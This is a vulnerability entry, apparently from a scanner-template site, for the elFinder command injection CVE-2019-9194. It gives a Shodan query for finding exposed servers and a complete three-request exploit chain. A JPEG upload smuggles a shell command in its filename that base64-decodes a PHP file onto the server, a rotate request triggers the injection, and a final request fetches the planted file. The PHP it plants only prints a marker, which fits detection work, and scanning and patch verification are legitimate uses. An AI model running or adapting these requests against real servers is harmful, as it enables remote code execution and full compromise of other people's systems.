| Title | elFinder <= 2.1.47 - Command Injection |
|---|---|
| Author | r00tuser111 |
| Severity | Critical |
| Impact | Attackers can execute arbitrary system commands via command injection during JPEG image processing operations, leading to complete server compromise. |
| Remediation | Upgrade to elFinder version 2.1.48 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93033 |
| CVE ID | CVE-2019-9194 |
| CWE ID | CWE-78 |
| Shodan Query | http.title:"elfinder" |
| Tags | cve cve2019 elfinder rce intrusive file-upload vkev vuln |
elFinder before 2.1.48 has a command injection vulnerability in the PHP connector.
The vulnerability occurs when performing image operations on JPEG files, where the filename
is passed to the exiftran utility without proper sanitization, allowing command injection.
POST /php/connector.minimal.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 771
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Accept-Encoding: gzip
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="cmd"
upload
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="target"
l1_Lw
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload[]"; filename="uegwug.jpeg;echo PD9waHAgZWNobyBtZDUoJ2h2aGNicCcpO3VubGluayhfX0ZJTEVfXyk7Pz4= | base64 -d > hvhcbp.php;echo uegwug.jpeg"
Content-Type: image/jpeg
���� JFIF ` ` �� 8Photoshop 3.0 8BIM t �� ;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 82
�� C
!'"#%%%),($+!$%$�� C $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$�� �" ��
------WebKitFormBoundary7MA4YWxkTrZu0gW--
GET /php/connector.minimal.php?target=WbAUB9°ree=180&mode=rotate&cmd=resize HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.2
Connection: close
Accept-Encoding: gzip
GET /php/hvhcbp.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-9194.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-9194.pcap
N/AN/A